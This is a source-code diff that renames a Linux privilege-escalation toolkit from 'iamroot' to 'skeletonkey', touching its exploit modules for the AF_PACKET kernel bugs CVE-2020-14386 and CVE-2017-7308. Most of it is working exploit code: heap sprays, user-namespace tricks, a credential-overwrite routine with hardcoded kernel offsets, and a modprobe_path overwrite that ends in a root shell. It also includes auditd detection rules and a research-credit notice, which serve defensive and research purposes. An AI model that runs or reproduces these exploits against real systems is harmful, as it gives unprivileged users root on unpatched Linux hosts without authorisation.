/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
* objects are sprayed so the OOB write lands on attacker bytes. */
static void af_packet2_skb_spray(int n_iters)
@@ -280,7 +226,7 @@ static int get_ifindex(const char *name)
/* The primitive run; executed inside the unshare()'d child. Returns
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
* at the kernel level (setsockopt rejected our crafted ring)". */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
if (bring_up_lo() < 0) {
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
@@ -440,15 +386,6 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
return 0;
}
#else /* !__linux__: provide a stub for macOS sanity builds */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
return -1;
}
#endif
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
*
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
@@ -473,7 +410,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* Reality check on this implementation: the deterministic mechanics
* of the above (precise frame size, repeated spray timing, sk_buff
* struct offset for the running kernel) are not portable enough to
* land reliably from a single iamroot run on an arbitrary host. We
* land reliably from a single skeletonkey run on an arbitrary host. We
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
* trigger sequence, then return -1 to signal "the primitive fired
* but we cannot empirically confirm the write landed". The shared
@@ -486,11 +423,11 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* write-and-readback once the per-kernel sk_buff layout is pinned
* down for the target host. */
struct afp2_arb_ctx {
const struct iamroot_ctx *ictx;
const struct skeletonkey_ctx *ictx;
int n_attempts; /* spray/fire rounds before giving up */
};
#if defined(__x86_64__) && defined(__linux__)
#if defined(__x86_64__)
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
@@ -508,9 +445,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
* frame would then write our payload (the modprobe_path string)
* into the forged ->data target. */
for (int i = 0; i < c->n_attempts; i++) {
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) {
@@ -535,15 +470,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
}
int st;
waitpid(p, &st, 0);
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
}
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
* empirically confirm the 8-byte write landed on an sk_buff->data
* field on this host. Return -1 so the finisher's sentinel-check
* loop in iamroot_finisher_modprobe_path() correctly reports
* loop in skeletonkey_finisher_modprobe_path() correctly reports
* "payload didn't run within 3s" rather than claiming success. */
fprintf(stderr,
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
@@ -563,25 +496,28 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
}
#endif
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Re-confirm vulnerability. */
iamroot_result_t pre = af_packet2_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet2_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
/* 2. Refuse if already root. */
if (geteuid() == 0) {
/* 2. Refuse if already root. Consult ctx->host first so unit tests
* can construct a non-root fingerprint regardless of the test
* process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
/* Defense in depth — the dispatcher should have gated this. */
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -597,7 +533,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
pid_t pid = fork();
if (pid < 0) {
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -644,7 +580,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet2: primitive child crashed "
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
WTERMSIG(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
switch (WEXITSTATUS(status)) {
case 3:
@@ -652,65 +588,88 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
"appears patched at runtime\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
case 2:
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
case 4:
if (!ctx->json) {
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
"(scope = PRIMITIVE-DEMO)\n"
" For end-to-end root, see Or Cohen's public PoC "
"(github.com/google/security-research).\n"
" iamroot intentionally does not embed per-kernel offsets.\n");
" skeletonkey intentionally does not embed per-kernel offsets.\n");
}
if (ctx->full_chain) {
#if defined(__x86_64__) && defined(__linux__)
#if defined(__x86_64__)
/* --full-chain: resolve kernel offsets and run the Or-Cohen
* sk_buff-data-pointer hijack via the shared modprobe_path
* finisher. Per the verified-vs-claimed bar: if we can't
* resolve modprobe_path, refuse with a helpful message
* rather than fabricate an address. */
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_packet2");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_packet2");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
}
struct afp2_arb_ctx arb_ctx = {
.ictx = ctx,
.n_attempts = 4,
};
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
&arb_ctx, !ctx->no_shell);
#else
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
if (ctx->no_shell) {
/* User explicitly disabled the shell pop, so the "we didn't
* pop a shell" outcome is the expected one. Map to OK. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
WEXITSTATUS(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
}
#else /* !__linux__ */
/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
* underflow are Linux-only kernel surface. Stub out cleanly so the
* module still registers and `--list` / `--detect-rules` work on
* macOS/BSD dev boxes and so the top-level `make` actually completes
* there. */
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] af_packet2: Linux-only module "
"(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
static const char af_packet2_auditd[] =
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
"# non-root via userns is the canonical footprint.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
const struct iamroot_module af_packet2_module = {
const struct skeletonkey_module af_packet2_module = {
.name = "af_packet2",
.cve = "CVE-2020-14386",
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
@@ -726,7 +685,7 @@ const struct iamroot_module af_packet2_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet2(void)
void skeletonkey_register_af_packet2(void)
{
iamroot_register(&af_packet2_module);
skeletonkey_register(&af_packet2_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
#define AF_PACKET2_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet2_module;
#endif
+29
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@@ -0,0 +1,29 @@
# NOTICE — af_packet (CVE-2017-7308)
## Vulnerability
**CVE-2017-7308** — AF_PACKET TPACKET_V3 integer overflow in
`tp_block_size * tp_block_nr` → heap write-where via sendmmsg spray.
## Research credit
Discovered by **Andrey Konovalov** (Google), March 2017. A research-era
classic — Konovalov found multiple AF_PACKET bugs in this campaign.
Original advisory + writeup:
<https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
## SKELETONKEY role
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
finisher (64 child workers polling geteuid). Offset table covers
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
`SKELETONKEY_AFPACKET_OFFSETS` env var.
`--full-chain` engages the shared modprobe_path finisher with
stride-seeded sk_buff data-pointer overwrite.
@@ -1,12 +0,0 @@
/*
* af_packet_cve_2017_7308 — IAMROOT module registry hook
*/
#ifndef AF_PACKET_IAMROOT_MODULES_H
#define AF_PACKET_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_packet_cve_2017_7308 IAMROOT module
* af_packet_cve_2017_7308 SKELETONKEY module
*
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow heap
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
@@ -15,9 +15,9 @@
*
* Default --exploit path: cred-overwrite walk using a hardcoded per-
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
* a dmesg breadcrumb so the operator can confirm the primitive at
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
* overwrite didn't take on this exact kernel.
@@ -32,7 +32,7 @@
* staged for the requested kaddr/buf and relies on the shared
* finisher's /tmp sentinel to confirm whether modprobe_path was
* actually overwritten. On kernels where the operator has supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* the skb head, hex), we use that for explicit targeting; otherwise
* the trigger fires heuristically and the sentinel acts as the
* ground-truth signal.
@@ -58,19 +58,25 @@
* skb in the OOB slot" approach.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/socket.h>
@@ -106,54 +112,45 @@ static const struct kernel_range af_packet_range = {
sizeof(af_packet_patched_branches[0]),
};
static int can_unshare_userns(void)
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&af_packet_range, &v);
bool patched = kernel_range_is_patched(&af_packet_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
@@ -173,7 +170,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
* They will NOT match custom-compiled kernels.
*
* Override at runtime via env var:
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
*
* `task_cred` = offsetof(struct task_struct, cred)
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
@@ -200,12 +197,12 @@ static const struct af_packet_offsets known_offsets[] = {
0x800, 0x08, 0xa8 },
};
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
* the known table by kernel version. Returns true on success. */
static bool resolve_offsets(struct af_packet_offsets *out,
const struct kernel_version *v)
{
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
if (env) {
unsigned long t, u, s;
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
@@ -215,7 +212,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
out->cred_size = s;
return true;
}
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
return false;
}
@@ -264,7 +261,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
*
* After firing, we check dmesg-ability (we won't actually read dmesg
* that requires root but we leave a unique tag in the skb payload
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
*/
static int fire_overflow_and_spray(void)
{
@@ -338,7 +335,7 @@ static int fire_overflow_and_spray(void)
static const unsigned char skb_payload[256] = {
/* eth header (dst=broadcast, src=zero, type=0x0800) */
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
/* IAMROOT tag — operator can grep dmesg for this string in any
/* SKELETONKEY tag — operator can grep dmesg for this string in any
* subsequent KASAN report or panic dump */
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
/* zeros for the remainder */
@@ -363,7 +360,7 @@ static int fire_overflow_and_spray(void)
/* Keep the corrupted socket open so the OOB region stays mapped
* for the cred-overwrite walk that follows. The caller closes it. */
/* Stash the fd via dup2 to a known number so the caller can find it.
* Use 200 well above stdio + iamroot's own pipe fds. */
* Use 200 well above stdio + skeletonkey's own pipe fds. */
if (dup2(s, 200) < 0) {
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
}
@@ -474,7 +471,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
* spray payload so its bytes carry the requested target kaddr
* (the prompt's "controllable overwrite value aimed at
* modprobe_path"). Operator-supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* within struct sk_buff for this kernel build) lets us aim
* precisely; without it we heuristically stamp kaddr at several
* plausible offsets within the kmalloc-2k skb layout.
@@ -491,7 +488,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
*/
struct afp_arb_ctx {
const struct iamroot_ctx *ctx;
const struct skeletonkey_ctx *ctx;
const struct af_packet_offsets *off;
uid_t outer_uid;
gid_t outer_gid;
@@ -517,13 +514,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
/* Per-kernel skb->data field offset — without this we can't aim
* the overwrite precisely. Operator can supply via env; otherwise
* we run heuristic mode. */
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
long skb_data_off = -1;
if (skb_off_env) {
char *end = NULL;
skb_data_off = strtol(skb_off_env, &end, 0);
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
"malformed (\"%s\"); ignoring\n", skb_off_env);
skb_data_off = -1;
}
@@ -540,16 +537,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
" field offset. The trigger will still fire and the heap spray will\n"
" still occur, but precise OOB targeting requires:\n"
"\n"
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
"\n"
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
}
/* Fork into a userns/netns child so the AF_PACKET socket has
* CAP_NET_RAW. The finisher itself stays in the parent so its
* eventual execve() replaces the top-level iamroot process. */
* eventual execve() replaces the top-level skeletonkey process. */
pid_t cpid = fork();
if (cpid < 0) {
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
@@ -648,7 +645,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
memset(payload, 0xff, 6); /* eth dst: bcast */
memset(payload + 6, 0, 6); /* eth src: zero */
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
if (skb_data_off >= 0 &&
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
@@ -703,41 +700,47 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
#endif /* __x86_64__ */
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
"(cred-offset table is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* 1. Refuse on patched kernels — re-run detect. */
iamroot_result_t pre = af_packet_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
return pre;
}
/* 2. Refuse if already root. */
if (geteuid() == 0) {
/* 2. Refuse if already root. Consult ctx->host first so unit tests
* can construct a non-root fingerprint regardless of the test
* process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
* early the kernel-write walk needs them. The integrator can
* extend known_offsets[] for new distro builds. */
struct kernel_version v;
if (!kernel_version_current(&v)) {
return IAMROOT_TEST_ERROR;
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
struct af_packet_offsets off;
if (!resolve_offsets(&off, &v)) {
if (!resolve_offsets(&off, v)) {
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
v.release);
return IAMROOT_PRECOND_FAIL;
v->release);
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_packet: using offsets [%s] "
@@ -753,15 +756,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* offset resolver can't find modprobe_path or (b) the trigger
* is rejected (silent backport). */
if (ctx->full_chain) {
struct iamroot_kernel_offsets koff;
struct skeletonkey_kernel_offsets koff;
memset(&koff, 0, sizeof koff);
(void)iamroot_offsets_resolve(&koff);
if (!iamroot_offsets_have_modprobe_path(&koff)) {
iamroot_finisher_print_offset_help("af_packet");
return IAMROOT_EXPLOIT_FAIL;
(void)skeletonkey_offsets_resolve(&koff);
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
skeletonkey_finisher_print_offset_help("af_packet");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&koff);
skeletonkey_offsets_print(&koff);
}
struct afp_arb_ctx arb_ctx = {
.ctx = ctx,
@@ -769,7 +772,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
.outer_uid = outer_uid,
.outer_gid = outer_gid,
};
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
&arb_ctx, !ctx->no_shell);
}
@@ -779,7 +782,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* the kernel will clean up sockets on child exit. */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -800,7 +803,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* WIN — one of our task_struct-spray children became uid 0.
* Signal parent via exit code; parent will not exec sh from
* this child (its address space is corrupted-ish). The win
* is symbolic at the iamroot level: we proved the primitive
* is symbolic at the skeletonkey level: we proved the primitive
* lands AND the cred-overwrite walk completes. */
_exit(0);
}
@@ -815,9 +818,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet: child died abnormally "
"(signal=%d) — primitive likely fired but crashed\n",
WTERMSIG(status));
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
"for slab-out-of-bounds evidence\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int code = WEXITSTATUS(status);
@@ -831,40 +834,64 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* that targets OUR cred specifically (rather than spray-and-
* pray), we can't promote ourselves. Report PARTIAL win.
*
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
* empirically confirmed root in this process. We didn't. */
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
"but THIS process is still uid %d\n", geteuid());
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
"did not acquire root. The primitive demonstrably works.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 4:
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
"kernel has silent backport (detect was version-only)\n");
return IAMROOT_OK; /* effectively patched */
return SKELETONKEY_OK; /* effectively patched */
case 5:
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
"acquired root within the timeout window\n");
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
"for evidence the OOB write occurred\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif
}
#else /* !__linux__ */
/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
* + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
* integer-overflow primitive is structurally unreachable elsewhere.
* Stub out cleanly so the module still registers and `--list` /
* `--detect-rules` work on macOS/BSD dev boxes and so the top-level
* `make` actually completes there. */
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] af_packet: Linux-only module "
"(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
static const char af_packet_auditd[] =
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
"# Flag AF_PACKET socket creation from non-root via userns.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
const struct iamroot_module af_packet_module = {
const struct skeletonkey_module af_packet_module = {
.name = "af_packet",
.cve = "CVE-2017-7308",
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
@@ -880,7 +907,7 @@ const struct iamroot_module af_packet_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet(void)
void skeletonkey_register_af_packet(void)
{
iamroot_register(&af_packet_module);
skeletonkey_register(&af_packet_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
#define AF_PACKET_SKELETONKEY_MODULES_H
#include "../../core/module.h"
